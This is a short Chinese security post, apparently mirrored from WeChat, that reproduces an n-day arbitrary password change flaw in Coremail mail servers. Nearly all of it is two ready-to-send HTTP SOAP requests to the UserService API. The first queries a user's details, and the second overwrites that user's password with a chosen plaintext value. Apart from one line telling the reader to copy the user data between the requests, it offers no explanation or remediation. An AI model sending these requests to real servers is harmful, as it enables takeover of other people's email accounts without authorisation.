Coremail nday 任意密码修改复现
2020-5-28 15:27:44 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏

Nday 任意密码修改

POST /apiws/services/UserService HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.0.106/apiws/services

Accept-Encoding: gzip, deflate

Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6

Connection: close

SOAPAction:

Content-Type: text/xml;charset=UTF-8

Host: 192.168.0.106

Content-Length: 331

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:apiw="http://coremail.cn/apiws">

  <soapenv:Header/>

  <soapenv:Body>

     <apiw:queryTheUser>

        <!--type: string-->

        <loginName>[email protected]</loginName>

     </apiw:queryTheUser>

  </soapenv:Body></soapenv:Envelope>

获取用户信息,然后直接复制到下面的请求中,修改密码为明文即可。

POST /apiws/services/UserService HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.0.106/apiws/services

Accept-Encoding: gzip, deflate

Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6

Connection: close

SOAPAction:

Content-Type: text/xml;charset=UTF-8

Host: 192.168.0.106

Content-Length: 431

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apiw="http://coremail.cn/apiws">

  <soapenv:Header/>

  <soapenv:Body>

     <apiw:updateTheUser>

        <!--type: string-->

        <user>{

"loginName":"[email protected]",

"name":"aaaaa1'",

"nick_name":null,

"orgId":null,

"password":"111111",

"status":"0"}</user>

     </apiw:updateTheUser>

  </soapenv:Body></soapenv:Envelope>


文章来源: https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&mid=2247483691&idx=1&sn=245c751d2a16034e1d45e67f17def18f&chksm=9f10a1e5a86728f3ee49ef2ce197101ae292df617953cd19d95da0d3fd6158bf0692597ed255&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh